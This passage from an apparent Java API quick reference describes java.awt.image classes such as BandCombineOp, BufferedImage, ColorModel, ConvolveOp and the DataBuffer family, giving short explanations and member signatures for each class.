d2 = s1*m12 + s2*m22 + s3*m32 + c2;
d3 = s1*m13 + s2*m23 + s3*m33 + c3;

If the constants c1, c2, and c3 are all 0, they can be omitted from the vector.

After creating a BandCombineOp for a specified vector, you perform the operation by passing a source and optional destination Raster to the filter() method. Because this operation processes each pixel independently, you can specify the same Raster object as both source and destination. BandCombineOp does not implement BufferedImageOp and cannot be used to process BufferedImage objects. See RasterOp for further details.

public class BandCombineOp implements RasterOp {
// | Public Constructors
 | public BandCombineOp (float[ ][ ] matrix, RenderingHints hints);
// | Public Instance Methods
 | public final float[ ][ ] getMatrix ();
// | Methods Implementing RasterOp
 | public WritableRaster createCompatibleDestRaster (Raster src);
 | public WritableRaster filter (Raster src, WritableRaster dst);
 | public final java.awt.geom.Rectangle2D getBounds2D (Raster src);
 | public final java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt);
 | public final RenderingHints getRenderingHints ();
}

Hierarchy: Object-->BandCombineOp(RasterOp)

BandedSampleModel Java 1.2
java.awt.image

This SampleModel represents image data stored so that each color component is in a separate data element of a DataBuffer and each band of color components is in a separate bank of the DataBuffer. For example, it can be used to represent RGB colors stored in three separate banks of short values. Most applications never need to use this class. See SampleModel for further information.

public final class BandedSampleModel extends ComponentSampleModel {
// | Public Constructors
 | public BandedSampleModel (int dataType, int w, int h, int numBands);
 | public BandedSampleModel (int dataType, int w, int h, int scanlineStride, int[ ] bankIndices, int[ ] bandOffsets);
// | Public Methods Overriding ComponentSampleModel
 | public SampleModel createCompatibleSampleModel (int w, int h);
 | public DataBuffer createDataBuffer ();
 | public SampleModel createSubsetSampleModel (int[ ] bands);
 | public Object getDataElements (int x, int y, Object obj, DataBuffer data);
 | public int[ ] getPixel (int x, int y, int[ ] iArray, DataBuffer data);
 | public int[ ] getPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data);
 | public int getSample (int x, int y, int b, DataBuffer data);
 | public int[ ] getSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data);
 | public void setDataElements (int x, int y, Object obj, DataBuffer data);
 | public void setPixel (int x, int y, int[ ] iArray, DataBuffer data);
 | public void setPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data);
 | public void setSample (int x, int y, int b, int s, DataBuffer data);
 | public void setSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data);
}

Hierarchy: Object-->SampleModel-->ComponentSampleModel-->BandedSampleModel

BufferedImage Java 1.2
java.awt.image

This is the central class in the simplified, immediate-mode imaging API introduced in Java 1.2 as part of Java 2D. A BufferedImage represents an image as a rectangular array of pixels in a Raster object and a ColorModel object that is capable of interpreting the pixel values of the Raster. BufferedImage extends java.awt.Image and can therefore be used anywhere that an Image can. However, a BufferedImage always holds its image data in memory, so there is no need for the complicated ImageObserver interface to handle asynchronous notifications as image data loads over a network.

If you know the data format of the image you need, you can create a BufferedImage by calling the BufferedImage() constructor. For example, to create an off-screen image with an alpha channel for use in complex color compositing operations, you can call BufferedImage() with the desired image size and an image type of TYPE_INT_ARGB. If you want to create an off-screen image and you do not need an alpha channel, it is easier to simply call the createImage() method of a java.awt.Component. Although this method is declared to return an Image, in Java 1.2 it is guaranteed to return a BufferedImage. The advantage to using this method is that it creates a BufferedImage with a type that is the same as (or can be efficiently converted to) the type used on your screen. If you do not have a Component handy, you can achieve the same effect by calling the createCompatibleImage() method of the java.awt.GraphicsConfiguration object that represents your screen configuration.

Once you have created a BufferedImage, you can call createGraphics() to obtain a Graphics2D object that you can use to draw into the image. You can draw a BufferedImage onto the screen or into any other image, using any of the drawImage() methods of Graphics or Graphics2D. You can perform image processing on a BufferedImage by passing it to the filter() method of any BufferedImageOp object. Finally, you can query and set individual pixels (or blocks of pixels) in a BufferedImage with getRGB() and setRGB(). These methods use the default ARGB color model: each pixel contains 8 bits of alpha, red, green, and blue data.

BufferedImage implements WritableRenderedImage, which in turn implements RenderedImage. These interfaces are used primarily by the forthcoming Java Advanced Imaging (JAI) API (javax.jai.*). Their methods allow an image to be divided up into multiple rectangular tiles. The BufferedImage class defines each image as a single tile, so most of these methods have trivial implementations. Most applications can simply ignore the RenderedImage and WritableRenderedImage methods of this class.

public class BufferedImage extends Image implements WritableRenderedImage {
// | Public Constructors
 | public BufferedImage (int width, int height, int imageType); |
 | public BufferedImage (ColorModel cm, WritableRaster raster, boolean isRasterPremultiplied, java.util.Hashtable properties); |
 | public BufferedImage (int width, int height, int imageType, IndexColorModel cm); |
// | Public Constants
 | public static final int TYPE_3BYTE_BGR ; | =5
 | public static final int TYPE_4BYTE_ABGR ; | =6
 | public static final int TYPE_4BYTE_ABGR_PRE ; | =7
 | public static final int TYPE_BYTE_BINARY ; | =12
 | public static final int TYPE_BYTE_GRAY ; | =10
 | public static final int TYPE_BYTE_INDEXED ; | =13
 | public static final int TYPE_CUSTOM ; | =0
 | public static final int TYPE_INT_ARGB ; | =2
 | public static final int TYPE_INT_ARGB_PRE ; | =3
 | public static final int TYPE_INT_BGR ; | =4
 | public static final int TYPE_INT_RGB ; | =1
 | public static final int TYPE_USHORT_555_RGB ; | =9
 | public static final int TYPE_USHORT_565_RGB ; | =8
 | public static final int TYPE_USHORT_GRAY ; | =11
// | Property Accessor Methods (by property name)
 | public boolean isAlphaPremultiplied (); |
 | public WritableRaster getAlphaRaster (); |
 | public ColorModel getColorModel (); | Implements:RenderedImage
 | public Raster getData (); | Implements:RenderedImage
 | public Raster getData (Rectangle rect); | Implements:RenderedImage
 | public void setData (Raster r); | Implements:WritableRenderedImage
 | public Graphics getGraphics (); | Overrides:Image
 | public int getHeight (); | Implements:RenderedImage
 | public int getHeight (ImageObserver observer); | Overrides:Image
 | public int getMinTileX (); | Implements:RenderedImage constant
 | public int getMinTileY (); | Implements:RenderedImage constant
 | public int getMinX (); | Implements:RenderedImage
 | public int getMinY (); | Implements:RenderedImage
 | public int getNumXTiles (); | Implements:RenderedImage constant
 | public int getNumYTiles (); | Implements:RenderedImage constant
 | public String[ ] getPropertyNames (); | Implements:RenderedImage constant
 | public WritableRaster getRaster (); |
 | public SampleModel getSampleModel (); | Implements:RenderedImage
 | public ImageProducer getSource (); | Overrides:Image
 | public java.util.Vector getSources (); | Implements:RenderedImage constant
 | public int getTileGridXOffset (); | Implements:RenderedImage
 | public int getTileGridYOffset (); | Implements:RenderedImage
 | public int getTileHeight (); | Implements:RenderedImage
 | public int getTileWidth (); | Implements:RenderedImage
 | public int getType (); |
 | public int getWidth (); | Implements:RenderedImage
 | public int getWidth (ImageObserver observer); | Overrides:Image
 | public Point[ ] getWritableTileIndices (); | Implements:WritableRenderedImage
// | Public Instance Methods
 | public void coerceData (boolean isAlphaPremultiplied); |
 | public Graphics2D createGraphics (); |
 | public int getRGB (int x, int y); |
 | public int[ ] getRGB (int startX, int startY, int w, int h, int[ ] rgbArray, int offset, int scansize); |
 | public BufferedImage getSubimage (int x, int y, int w, int h); |
 | public void setRGB (int x, int y, int rgb); | synchronized
 | public void setRGB (int startX, int startY, int w, int h, int[ ] rgbArray, int offset, int scansize); |
// | Other Methods Implementing RenderedImage
 | public WritableRaster copyData (WritableRaster outRaster); |
 | public Object getProperty (String name); |
 | public Raster getTile (int tileX, int tileY); |
// | Methods Implementing WritableRenderedImage
 | public void addTileObserver (TileObserver to); | empty
 | public WritableRaster getWritableTile (int tileX, int tileY); |
 | public Point[ ] getWritableTileIndices (); |
 | public boolean hasTileWriters (); | constant
 | public boolean isTileWritable (int tileX, int tileY); |
 | public void releaseWritableTile (int tileX, int tileY); | empty
 | public void removeTileObserver (TileObserver to); | empty
 | public void setData (Raster r); |
// | Public Methods Overriding Image
 | public void flush (); | empty
 | public Object getProperty (String name, ImageObserver observer); |
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->Image-->BufferedImage(WritableRenderedImage(RenderedImage))

Passed To: Too many methods to list.

Returned By: Too many methods to list.

BufferedImageFilter | Java 1.2
java.awt.image | cloneable

This class allows a Java 1.2 BufferedImageOp image-processing operation to be used as an ImageFilter in the Java 1.0 and Java 1.1 image processing model. Create a BufferedImageFilter by passing a BufferedImageOp to the constructor. Then use the resulting BufferedImageFilter with a FilteredImageSource exactly as you would use RGBImageFilter, CropImageFilter, or any other Java 1.0 or Java 1.1 image filter.

public class BufferedImageFilter extends ImageFilter implements Cloneable {
// | Public Constructors
 | public BufferedImageFilter (BufferedImageOp op);
// | Public Instance Methods
 | public BufferedImageOp getBufferedImageOp ();
// | Public Methods Overriding ImageFilter
 | public void imageComplete (int status);
 | public void setColorModel (ColorModel model);
 | public void setDimensions (int width, int height);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, int[ ] pixels, int off, int scansize);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, byte[ ] pixels, int off, int scansize);
}

Hierarchy: Object-->ImageFilter(Cloneable,ImageConsumer)-->BufferedImageFilter(Cloneable)

BufferedImageOp Java 1.2
java.awt.image

This interface describes an image-processing operation that can be performed on any BufferedImage. Java 2D includes a number of versatile implementations of this interface that most applications can rely for all their image-processing needs.

To use a BufferedImageOp, call its filter() method. This method processes a specified source image and stores the results in a specified destination image. If no destination image is specified, the method creates and returns an appropriate one. You can pass a source image to getBounds2D() to get the bounding box of the destination image that would be produced if that source image were to be passed to filter(). Given a point in a (hypothetical) source image, getPoint2D() returns the corresponding point in the destination image. If a destination Point2D object is provided, it is used to return the destination point; otherwise a Point2D object is allocated for this purpose. getRenderingHints() returns the rendering hints associated with this implementation of BufferedImageOp, or null if it has no rendering hints. Finally, createCompatibleDestImage() is an internal method that implementations must define but that applications never need to call.

public abstract interface BufferedImageOp {
// | Public Instance Methods
 | public abstract BufferedImage createCompatibleDestImage (BufferedImage src, ColorModel destCM);
 | public abstract BufferedImage filter (BufferedImage src, BufferedImage dest);
 | public abstract java.awt.geom.Rectangle2D getBounds2D (BufferedImage src);
 | public abstract java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt);
 | public abstract RenderingHints getRenderingHints ();
}

Implementations: AffineTransformOp, ColorConvertOp, ConvolveOp, LookupOp, RescaleOp

Passed To: Graphics2D.drawImage(), BufferedImageFilter.BufferedImageFilter()

Returned By: BufferedImageFilter.getBufferedImageOp()

ByteLookupTable Java 1.2
java.awt.image

This concrete subclass of LookupTable contains one or more byte arrays that serve as lookup tables for a LookupOp image-processing operation. Applications never need to use a ByteLookupTable directly; they need to create one only to pass to the LookupOp() constructor. Create a ByteLookupTable by passing the byte array or arrays to the ByteLookupTable() constructor, along with an offset that is subtracted from each source color component before the lookup is performed. See also LookupTable.

public class ByteLookupTable extends LookupTable {
// | Public Constructors
 | public ByteLookupTable (int offset, byte[ ][ ] data);
 | public ByteLookupTable (int offset, byte[ ] data);
// | Public Instance Methods
 | public final byte[ ][ ] getTable ();
 | public byte[ ] lookupPixel (byte[ ] src, byte[ ] dst);
// | Public Methods Overriding LookupTable
 | public int[ ] lookupPixel (int[ ] src, int[ ] dst);
}

Hierarchy: Object-->LookupTable-->ByteLookupTable

ColorConvertOp Java 1.2
java.awt.image

This class is a BufferedImageOp and a RasterOp that converts the colors of a BufferedImage or a Raster from one color space to another color space. If the filter() method is called with two distinct source and destination BufferedImage objects specified, it converts the colors from the java.awt.color.ColorSpace of the source image to the ColorSpace of the destination image. If no destination image is passed to filter(), the destination ColorSpace must have been specified when the ColorConvertOp() constructor was called. Finally, if this ColorConvertOp is to be used to filter Raster object, both the source and destination color spaces must be specified, either in the form of ColorSpace objects or as an array of two java.awt.color.ICC_PROFILE objects.

In addition to optionally specifying the source and destination color spaces when you invoke the ColorConvertOp() constructor, you may also specify a RenderingHints object. If the hints object is non-null, the ColorConvertOp may use the color rendering and dithering hints it contains.

To use a ColorConvertOp, simply pass a source and optional destination image or raster to the filter() method. Because the ColorConvertOp works on each pixel of the image or raster independently, you may specify the same object for both source and destination. In this case, the image or raster is modified in place. See BufferedImageOp for further details.

public class ColorConvertOp implements BufferedImageOp, RasterOp {
// | Public Constructors
 | public ColorConvertOp (RenderingHints hints);
 | public ColorConvertOp (java.awt.color.ICC_Profile[ ] profiles, RenderingHints hints);
 | public ColorConvertOp (java.awt.color.ColorSpace cspace, RenderingHints hints);
 | public ColorConvertOp (java.awt.color.ColorSpace srcCspace, java.awt.color.ColorSpace dstCspace, RenderingHints hints);
// | Public Instance Methods
 | public final java.awt.color.ICC_Profile[ ] getICC_Profiles ();
// | Methods Implementing BufferedImageOp
 | public BufferedImage createCompatibleDestImage (BufferedImage src, ColorModel destCM);
 | public final BufferedImage filter (BufferedImage src, BufferedImage dest);
 | public final java.awt.geom.Rectangle2D getBounds2D (BufferedImage src);
 | public final java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt);
 | public final RenderingHints getRenderingHints ();
// | Methods Implementing RasterOp
 | public WritableRaster createCompatibleDestRaster (Raster src);
 | public final WritableRaster filter (Raster src, WritableRaster dest);
 | public final java.awt.geom.Rectangle2D getBounds2D (Raster src);
}

Hierarchy: Object-->ColorConvertOp(BufferedImageOp,RasterOp)

ColorModel | Java 1.0
java.awt.image | PJ1.1

This abstract class defines a scheme for representing colors as pixels. The primary job of a ColorModel object is to extract individual color components from pixel values. Most applications do not need to work with ColorModel objects directly; those that do usually need only to instantiate an appropriate ColorModel subclass for use by some other method or constructor.

In Java 1.0 and 1.1, this is a fairly simple class: pixel values are supplied as int values, and the getRed(), getGreen(), getBlue(), and getAlpha() methods return the red, green, blue, and alpha components of the pixel. The getRGB() method converts a pixel to the pixel format used by the default ARGB color model. This color model is returned by the static getRGBDefault() method; it packs 8-bit color and alpha components into a 32-bit int in 0xAARRGGBB format.

With the introduction of Java 2D in Java 1.2, this class has become more complicated. Now the ColorModel is not tied to the default RGB java.awt.color.ColorSpace and provides methods for extracting color components from any color space. The getComponents() method and its variants return an array of color components for a given pixel value. If the ColorModel is defined in terms of the CMYK color space, for example, these components are not red, green, and blue, but cyan, magenta, yellow, and black. Note, however, that because every ColorSpace can convert colors to the default RGB color space, the getRed(), getGreen(), getBlue(), and getRGB() methods still work, regardless of color space.

Another generalization to the ColorModel class in Java 1.2 is that pixel values are no longer assumed to fit in int values. Each method that extracts color components from pixels comes in two forms. In the first, the pixel value is specified as an int. In the second form, it is specified as a Object. This object is an array of primitive values. The type of these values is known as the transfer type of the color model and is specified by one of the constants DataBuffer.TYPE_BYTE, Databuffer.TYPE_USHORT, or DataBuffer.TYPE_INT. In simple cases, the elements of the transfer type arrays contain color components, and the ColorModel object provides a trivial mapping between pixel values and color component values.

Other ColorModel additions in Java 1.2 include the implementation of the Transparency interface and its getTransparency() method. This method returns a Transparency constant that specifies the level of transparency supported by the ColorModel. For ColorModel objects that support transparency, the isAlphaPremultiplied() method specifies whether the color components have been premultiplied by the alpha component. (Premultiplication makes alpha compositing operations more efficient.) Also, the getNormalizedComponents() and getUnnormalizedComponents() convert back and forth between normalized and unnormalized color component values. A normalized component is a float value between 0.0 and 1.0 that has not been premultiplied by an alpha value. An unnormalized component is an integral value with a range that depends on the number of bits used by the color model, possibly premultiplied by the alpha value.

There are a number of ColorModel subclasses, suitable for distinctly different types of color models. See also ComponentColorModel, DirectColorModel, IndexColorModel, and PackedColorModel.

public abstract class ColorModel implements Transparency {
// | Public Constructors
 | public ColorModel (int bits); |
// | Protected Constructors
1.2 | protected ColorModel (int pixel_bits, int[ ] bits, java.awt.color.ColorSpace cspace, boolean hasAlpha, boolean isAlphaPremultiplied, int transparency, int transferType); |
// | Public Class Methods
 | public static ColorModel getRGBdefault (); |
// | Property Accessor Methods (by property name)
1.2 | public final boolean isAlphaPremultiplied (); |
1.2 | public final java.awt.color.ColorSpace getColorSpace (); |
1.2 | public int[ ] getComponentSize (); |
1.2 | public int getComponentSize (int componentIdx); |
1.2 | public int getNumColorComponents (); |
1.2 | public int getNumComponents (); |
 | public int getPixelSize (); |
1.2 | public int getTransparency (); | Implements:Transparency
// | Public Instance Methods
1.2 | public ColorModel coerceData (WritableRaster raster, boolean isAlphaPremultiplied); |
1.2 | public SampleModel createCompatibleSampleModel (int w, int h); |
1.2 | public WritableRaster createCompatibleWritableRaster (int w, int h); |
1.2 | public int getAlpha (Object inData); |
 | public abstract int getAlpha (int pixel); |
1.2 | public WritableRaster getAlphaRaster (WritableRaster raster); | constant
1.2 | public int getBlue (Object inData); |
 | public abstract int getBlue (int pixel); |
1.2 | public int[ ] getComponents (int pixel, int[ ] components, int offset); |
1.2 | public int[ ] getComponents (Object pixel, int[ ] components, int offset); |
1.2 | public int getDataElement (int[ ] components, int offset); |
1.2 | public Object getDataElements (int rgb, Object pixel); |
1.2 | public Object getDataElements (int[ ] components, int offset, Object obj); |
1.2 | public int getGreen (Object inData); |
 | public abstract int getGreen (int pixel); |
1.2 | public float[ ] getNormalizedComponents (int[ ] components, int offset, float[ ] normComponents, int normOffset); |
 | public abstract int getRed (int pixel); |
1.2 | public int getRed (Object inData); |
 | public int getRGB (int pixel); |
1.2 | public int getRGB (Object inData); |
1.2 | public int[ ] getUnnormalizedComponents (float[ ] normComponents, int normOffset, int[ ] components, int offset); |
1.2 | public final boolean hasAlpha (); |
1.2 | public boolean isCompatibleRaster (Raster raster); |
1.2 | public boolean isCompatibleSampleModel (SampleModel sm); |
// | Methods Implementing Transparency
1.2 | public int getTransparency (); |
// | Public Methods Overriding Object
1.2 | public boolean equals (Object obj); |
 | public void finalize (); | empty
1.2 | public String toString (); |
// | Protected Instance Fields
 | protected int pixel_bits ; |
1.2 | protected int transferType ; |
}

Hierarchy: Object-->ColorModel(Transparency)

Subclasses: ComponentColorModel, IndexColorModel, PackedColorModel

Passed To: Too many methods to list.

Returned By: Component.getColorModel(), GraphicsConfiguration.getColorModel(), PaintContext.getColorModel(), Toolkit.getColorModel(), BufferedImage.getColorModel(), ColorModel.{coerceData(), getRGBdefault()}, ComponentColorModel.coerceData(), DirectColorModel.coerceData(), PixelGrabber.getColorModel(), RenderedImage.getColorModel(), java.awt.peer.ComponentPeer.getColorModel()

Type Of: RGBImageFilter.{newmodel, origmodel}

ComponentColorModel Java 1.2
java.awt.image

This ColorModel is used with image data in which the color and transparency components of pixels are stored separately, instead of being combined together into a single int value. This class works only with pixel values specified as an array of primitive values of the specified transfer type. The number of elements in these pixel arrays must match the number of color and transparency components in the specified color space. This class performs the trivial mapping between the array elements of the pixel value and the color components of the color it represents. The methods of this class that are passed int pixel values can throw IllegalArgumentException. Only applications that are doing custom image processing need to use this, or any, ColorModel.

public class ComponentColorModel extends ColorModel {
// | Public Constructors
 | public ComponentColorModel (java.awt.color.ColorSpace colorSpace, int[ ] bits, boolean hasAlpha, boolean isAlphaPremultiplied, int transparency, int transferType);
// | Public Methods Overriding ColorModel
 | public ColorModel coerceData (WritableRaster raster, boolean isAlphaPremultiplied);
 | public SampleModel createCompatibleSampleModel (int w, int h);
 | public WritableRaster createCompatibleWritableRaster (int w, int h);
 | public boolean equals (Object obj);
 | public int getAlpha (Object inData);
 | public int getAlpha (int pixel);
 | public WritableRaster getAlphaRaster (WritableRaster raster);
 | public int getBlue (Object inData);
 | public int getBlue (int pixel);
 | public int[ ] getComponents (Object pixel, int[ ] components, int offset);
 | public int[ ] getComponents (int pixel, int[ ] components, int offset);
 | public int getDataElement (int[ ] components, int offset);
 | public Object getDataElements (int rgb, Object pixel);
 | public Object getDataElements (int[ ] components, int offset, Object obj);
 | public int getGreen (Object inData);
 | public int getGreen (int pixel);
 | public int getRed (int pixel);
 | public int getRed (Object inData);
 | public int getRGB (int pixel);
 | public int getRGB (Object inData);
 | public boolean isCompatibleRaster (Raster raster);
 | public boolean isCompatibleSampleModel (SampleModel sm);
}

Hierarchy: Object-->ColorModel(Transparency)-->ComponentColorModel

ComponentSampleModel Java 1.2
java.awt.image

This SampleModel represents image data stored so that each component of each pixel is stored in a separate element of the DataBuffer. The arguments to the ComponentSampleModel allow great flexibility in this model. For example, it can represent RGB values interleaved into a single bank of bytes or ARGB values stored in four separate banks of bytes. Additionally, it can handle offsets at the end of scanlines and an offset at the beginning of each bank.

Java 2D defines two subclasses of ComponentSampleModel that are more efficient for particular types of image data. When each band of pixel components is stored in a separate bank of the DataBuffer, it is easier and more efficient to use the BandedSampleModel subclass. When the components of a pixel are stored in adjacent data elements of a single bank of the DataBuffer, it is easier and more efficient to use PixelInterleavedSampleModel.

Most applications never need to use this class or its subclasses. See SampleModel for further information.

public class ComponentSampleModel extends SampleModel {
// | Public Constructors
 | public ComponentSampleModel (int dataType, int w, int h, int pixelStride, int scanlineStride, int[ ] bandOffsets); |
 | public ComponentSampleModel (int dataType, int w, int h, int pixelStride, int scanlineStride, int[ ] bankIndices, int[ ] bandOffsets); |
// | Property Accessor Methods (by property name)
 | public final int[ ] getBandOffsets (); |
 | public final int[ ] getBankIndices (); |
 | public final int getNumDataElements (); | Overrides:SampleModel
 | public final int getPixelStride (); |
 | public final int[ ] getSampleSize (); | Overrides:SampleModel
 | public final int getSampleSize (int band); | Overrides:SampleModel
 | public final int getScanlineStride (); |
// | Public Instance Methods
 | public int getOffset (int x, int y); |
 | public int getOffset (int x, int y, int b); |
// | Public Methods Overriding SampleModel
 | public SampleModel createCompatibleSampleModel (int w, int h); |
 | public DataBuffer createDataBuffer (); |
 | public SampleModel createSubsetSampleModel (int[ ] bands); |
 | public Object getDataElements (int x, int y, Object obj, DataBuffer data); |
 | public int[ ] getPixel (int x, int y, int[ ] iArray, DataBuffer data); |
 | public int[ ] getPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data); |
 | public int getSample (int x, int y, int b, DataBuffer data); |
 | public int[ ] getSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data); |
 | public void setDataElements (int x, int y, Object obj, DataBuffer data); |
 | public void setPixel (int x, int y, int[ ] iArray, DataBuffer data); |
 | public void setPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data); |
 | public void setSample (int x, int y, int b, int s, DataBuffer data); |
 | public void setSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data); |
// | Protected Instance Fields
 | protected int[ ] bandOffsets ; |
 | protected int[ ] bankIndices ; |
 | protected int numBands ; |
 | protected int numBanks ; |
 | protected int pixelStride ; |
 | protected int scanlineStride ; |
}

Hierarchy: Object-->SampleModel-->ComponentSampleModel

Subclasses: BandedSampleModel, PixelInterleavedSampleModel

ConvolveOp Java 1.2
java.awt.image

This class is a BufferedImageOp and a RasterOp that performs an arbitrary convolution on an image. Convolution is a versatile image-processing operation that can be used, for example, to blur or sharpen an image or perform edge detection on an image. The convolution to be performed is specified by a matrix of floating-point numbers, in the form of a Kernel object. Because convolution looks at the neighbors of each pixel in an image, special care must be taken when operating on the pixels at the edges of the image. By default, a ConvolveOp uses imaginary color components of all zeros when it reaches the edges of an image. You can pass EDGE_NO_OP to the constructor to specify that the edges of the image should simply be left unprocessed. Finally, you can pass a RenderingHints object to the ConvolveOp() constructor. If this argument is not null, the ConvolveOp may use its color and dithering hints.

To use a ConvolveOp, simply pass a source and optional destination image or raster to its filter() method. Note that you cannot specify the same object as both source and destination. See BufferedImageOp for further details.

public class ConvolveOp implements BufferedImageOp, RasterOp {
// | Public Constructors
 | public ConvolveOp (Kernel kernel); |
 | public ConvolveOp (Kernel kernel, int edgeCondition, RenderingHints hints); |
// | Public Constants
 | public static final int EDGE_NO_OP ; | =1
 | public static final int EDGE_ZERO_FILL ; | =0
// | Public Instance Methods
 | public int getEdgeCondition (); |
 | public final Kernel getKernel (); |
// | Methods Implementing BufferedImageOp
 | public BufferedImage createCompatibleDestImage (BufferedImage src, ColorModel destCM); |
 | public final BufferedImage filter (BufferedImage src, BufferedImage dst); |
 | public final java.awt.geom.Rectangle2D getBounds2D (BufferedImage src); |
 | public final java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt); |
 | public final RenderingHints getRenderingHints (); |
// | Methods Implementing RasterOp
 | public WritableRaster createCompatibleDestRaster (Raster src); |
 | public final WritableRaster filter (Raster src, WritableRaster dst); |
 | public final java.awt.geom.Rectangle2D getBounds2D (Raster src); |
}

Hierarchy: Object-->ConvolveOp(BufferedImageOp,RasterOp)

CropImageFilter | Java 1.0
java.awt.image | cloneable PJ1.1

This class implements an ImageFilter that crops an image to a specified rectangle. The methods defined by this class are used for communication between the filter and its FilteredImageSource and should never be called directly.

public class CropImageFilter extends ImageFilter {
// | Public Constructors
 | public CropImageFilter (int x, int y, int w, int h);
// | Public Methods Overriding ImageFilter
 | public void setDimensions (int w, int h);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, int[ ] pixels, int off, int scansize);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, byte[ ] pixels, int off, int scansize);
 | public void setProperties (java.util.Hashtable props);
}

Hierarchy: Object-->ImageFilter(Cloneable,ImageConsumer)-->CropImageFilter

DataBuffer Java 1.2
java.awt.image

This abstract class stores image data at the lowest level. A DataBuffer stores one or more arrays, or banks, of data of a specified size and a given type. The Raster class uses a DataBuffer to store image data and a SampleModel to interpret the storage format of that data. Most applications never need to use DataBuffer objects directly.

Specific concrete subclasses of DataBuffer are implemented for specific types of data. See also DataBufferByte, DataBufferShort, DataBufferUShort, and DataBufferInt.

public abstract class DataBuffer {
// | Protected Constructors
 | protected DataBuffer (int dataType, int size); |
 | protected DataBuffer (int dataType, int size, int numBanks); |
 | protected DataBuffer (int dataType, int size, int numBanks, int[ ] offsets); |
 | protected DataBuffer (int dataType, int size, int numBanks, int offset); |
// | Public Constants
 | public static final int TYPE_BYTE ; | =0
 | public static final int TYPE_DOUBLE ; | =5
 | public static final int TYPE_FLOAT ; | =4
 | public static final int TYPE_INT ; | =3
 | public static final int TYPE_SHORT ; | =2
 | public static final int TYPE_UNDEFINED ; | =32
 | public static final int TYPE_USHORT ; | =1
// | Public Class Methods
 | public static int getDataTypeSize (int type); |
// | Property Accessor Methods (by property name)
 | public int getDataType (); |
 | public int getNumBanks (); |
 | public int getOffset (); |
 | public int[ ] getOffsets (); |
 | public int getSize (); |
// | Public Instance Methods
 | public int getElem (int i); |
 | public abstract int getElem (int bank, int i); |
 | public double getElemDouble (int i); |
 | public double getElemDouble (int bank, int i); |
 | public float getElemFloat (int i); |
 | public float getElemFloat (int bank, int i); |
 | public void setElem (int i, int val); |
 | public abstract void setElem (int bank, int i, int val); |
 | public void setElemDouble (int i, double val); |
 | public void setElemDouble (int bank, int i, double val); |
 | public void setElemFloat (int i, float val); |
 | public void setElemFloat (int bank, int i, float val); |
// | Protected Instance Fields
 | protected int banks ; |
 | protected int dataType ; |
 | protected int offset ; |
 | protected int[ ] offsets ; |
 | protected int size ; |
}

Subclasses: DataBufferByte, DataBufferInt, DataBufferShort, DataBufferUShort

Passed To: Too many methods to list.

Returned By: BandedSampleModel.createDataBuffer(), ComponentSampleModel.createDataBuffer(), MultiPixelPackedSampleModel.createDataBuffer(), Raster.getDataBuffer(), SampleModel.createDataBuffer(), SinglePixelPackedSampleModel.createDataBuffer()

Type Of: Raster.dataBuffer

DataBufferByte Java 1.2
java.awt.image

This class stores image data in one or more byte arrays. The arrays, or banks, of data can be passed directly to the DataBufferByte() constructor, or they can be created by the constructor. You may specify an offset into each array at which the data begins. getElem() and setElem() allow you to get and set the values of a particular element of a particular bank. Most applications never use this class directly.

public final class DataBufferByte extends DataBuffer {
// | Public Constructors
 | public DataBufferByte (int size);
 | public DataBufferByte (byte[ ][ ] dataArray, int size);
 | public DataBufferByte (byte[ ] dataArray, int size);
 | public DataBufferByte (int size, int numBanks);
 | public DataBufferByte (byte[ ][ ] dataArray, int size, int[ ] offsets);
 | public DataBufferByte (byte[ ] dataArray, int size, int offset);
// | Public Instance Methods
 | public byte[ ][ ] getBankData ();
 | public byte[ ] getData ();
 | public byte[ ] getData (int bank);
// | Public Methods Overriding DataBuffer
 | public int getElem (int i);
 | public int getElem (int bank, int i);
 | public void setElem (int i, int val);
 | public void setElem (int bank, int i, int val);
}

Hierarchy: Object-->DataBuffer-->DataBufferByte

DataBufferInt Java 1.2
java.awt.image

This class stores image data in one or more int arrays. The arrays, or banks, of data can be passed directly to the DataBufferInt() constructor, or they can be created by the constructor. You may specify an offset into each array at which the data begins. getElem() and setElem() allow you to get and set the values of a particular element of a particular bank. Most applications never use this class directly.

public final class DataBufferInt extends DataBuffer {
// | Public Constructors
 | public DataBufferInt (int size);
 | public DataBufferInt (int[ ][ ] dataArray, int size);
 | public DataBufferInt (int[ ] dataArray, int size);
 | public DataBufferInt (int size, int numBanks);
 | public DataBufferInt (int[ ][ ] dataArray, int size, int[ ] offsets);
 | public DataBufferInt (int[ ] dataArray, int size, int offset);
// | Public Instance Methods
 | public int[ ][ ] getBankData ();
 | public int[ ] getData ();
 | public int[ ] getData (int bank);
// | Public Methods Overriding DataBuffer
 | public int getElem (int i);
 | public int getElem (int bank, int i);
 | public void setElem (int i, int val);
 | public void setElem (int bank, int i, int val);
}

Hierarchy: Object-->DataBuffer-->DataBufferInt

DataBufferShort Java 1.2
java.awt.image

This class stores image data in one or more short arrays. The arrays, or banks, of data can be passed directly to the DataBufferShort() constructor, or they can be created by the constructor. You may specify an offset into each array at which the data begins. getElem() and setElem() allow you to get and set the values of a particular element of a particular bank. Most applications never use this class directly.

public final class DataBufferShort extends DataBuffer {
// | Public Constructors
 | public DataBufferShort (int size);
 | public DataBufferShort (short[ ][ ] dataArray, int size);
 | public DataBufferShort (short[ ] dataArray, int size);
 | public DataBufferShort (int size, int numBanks);
 | public DataBufferShort (short[ ][ ] dataArray, int size, int[ ] offsets);
 | public DataBufferShort (short[ ] dataArray, int size, int offset);
// | Public Instance Methods
 | public short[ ][ ] getBankData ();
